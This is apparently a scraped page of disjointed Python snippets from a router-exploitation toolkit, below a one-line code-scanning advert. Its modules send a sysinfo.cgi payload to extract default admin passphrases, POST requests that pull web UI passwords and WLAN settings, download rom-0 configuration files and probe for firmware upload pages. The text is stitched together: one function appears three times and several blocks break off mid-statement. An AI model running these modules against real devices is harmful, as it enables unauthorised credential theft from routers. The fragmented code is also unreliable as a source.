Secure your code as it's written. Use Snyk Code to scan source code in minutes - no build needed - and fix issues immediately.
def do_set(self, e):
args = e.split(' ')
if args[0] == "mac":
if validate_mac(args[1]):
self.mac = args[1]
print_info("MAC set to: " + self.mac + " " + lookup_mac(self.mac))
else:
print_error("please provide valid MAC address")
def do_set(self, e):
args = e.split(' ')
if args[0] == "mac":
if validate_mac(args[1]):
self.mac = args[1]
print_info("MAC set to: " + self.mac + " " + lookup_mac(self.mac))
else:
print_error("please provide valid MAC address")
def do_set(self, e):
args = e.split(' ')
if args[0] == "mac":
if validate_mac(args[1]):
self.mac = args[1]
print_info("MAC set to: " + self.mac + " " + lookup_mac(self.mac))
else:
print_error("please provide valid MAC address")
def do_run(self, e):
print_warning("Sending payload sysinfo")
result = self.send_payload("sysinfo.cgi")
if result:
print_success("Got system information, writing to file")
core.io.writetextfile(result, "sysinfo")
print_info("Analyzing sysinfo...")
regex = re.search("device::default_passphrase=(.*)", result)
if regex:
try:
print_green("Default admin passphrasse: " + regex.group(1))
except IndexError:
print_error("Unable to locate passphrasse")
regex = re.search("device::mac_addr=(.*)", result)
if regex:
try:
print_green("MAC: " + regex.group(1) + lookup_mac(regex.group(1)))
except IndexError:
print_error("Unable to locate MAC")
regex = re.search("device::default_ssid=(.*)", result)
if regex:
try:
except Exception as e:
print_error("Index error")
return
try:
# If this host data is already complete, just display it
if host_info['dataComplete']:
self.show_complete_host_info(index)
else:
print_error("Can't show host info because I don't have it. Please run 'host get %d'" % index)
except KeyboardInterrupt as e:
pass
return
elif args[0] == "list":
if len(self.enum_hosts) == 0:
print_info("No known hosts - try running the 'msearch' or 'pcap' commands")
return
for index, host_info in self.enum_hosts.items():
print_info("[%d] %s" % (index, host_info['name']))
return
elif args[0] == "summary":
try:
index = int(args[1])
host_info = self.enum_hosts[index]
except:
print_error("Please provide correct device id")
return
print('Host:', host_info['name'])
print('XML File:', host_info['xml_file'])
for device_name, deviceData in host_info['deviceList'].items():
print(device_name)
self.mreq = struct.pack("4sl", socket.inet_aton(self.host), socket.INADDR_ANY)
# Set up client socket
self.csock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.csock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 2)
# Set up server socket
self.ssock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
self.ssock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# BSD systems also need to set SO_REUSEPORT
try:
self.ssock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)
except Exception:
pass
# Only bind to this interface
if self.interface is not None:
print_info("Binding to interface: " + self.interface)
self.ssock.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE,
struct.pack("%ds" % (len(self.interface) + 1,), self.interface))
self.csock.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE,
struct.pack("%ds" % (len(self.interface) + 1,), self.interface))
try:
self.ssock.bind(('', self.port))
except Exception:
print_warning("failed to bind: " + self.host + ":" + str(self.port) + " ")
try:
self.ssock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, self.mreq)
except Exception:
print_warning("failed to join multicast group")
except Exception:
print_error("failed to initialize UPNP sockets")
return False
def decompress_fs_only(self, data, path):
"""Decompress filesystem"""
fsstart = unpack('>L', data[:4])[0]
print_info('FS block start at: %d [0x%08X]' % (fsstart, fsstart))
return self.decompress_fs(data[fsstart:], path)
description = striptag.sub('', regex.group(1))
serial_number = striptag.sub('', regex2.group(1))
firmware = striptag.sub('', regex3.group(1))
print("Device: %s" % description)
print("Serial number: %s" % serial_number)
print("FW version: %s" % firmware)
except IndexError:
print_error("opps unable to locate this regular expression")
# Request web UI password
response = requests.post(url, headers=headers1, data=payload, timeout=60)
if response.status_code != 200:
raise requests.ConnectionError
print_info("Writing response to LANConfigSecurity.xml")
core.io.writetextfile(response.text, "LANConfigSecurity.xml")
print_info("Parsing response")
regex = re.search("(.*)", response.text)
try:
password = striptag.sub('', regex.group(1))
print("Password: %s" % password)
except IndexError:
print_error("opps unable to locate this regular expression")
# Request WLAN info
response = requests.post(url, headers=headers2, data=payload, timeout=60)
if response.status_code != 200:
raise requests.ConnectionError
print_info("Writing response to WLANConfiguration.xml")
core.io.writetextfile(response.text, "WLANConfiguration.xml")
print_info("Parsing response")
regex = re.search("(.*)", response.text)
regex2 = re.search("(.*)", response.text)
def do_run(self, e):
target = "http://" + self.host + ":" + self.port
try:
response = requests.get(target + "/rom-0", timeout=60)
content_type = 'application/octet-stream'
if response.status_code == requests.codes.ok and response.headers.get('Content-Type') == content_type:
print_success("got rom-0 file, size:" + str(len(response.content)))
core.io.writefile(response.content, "rom-0")
else:
print_error("failed")
print_info("Checking if rpFWUpload.html is available")
response = requests.get(target + "/rpFWUpload.html", timeout=60)
if response.status_code == requests.codes.ok:
print_success("rpFWUpload.html is accessible")
else:
print_failed("rpFWUpload.html is not accessible")
except requests.RequestException:
print_error("timeout!")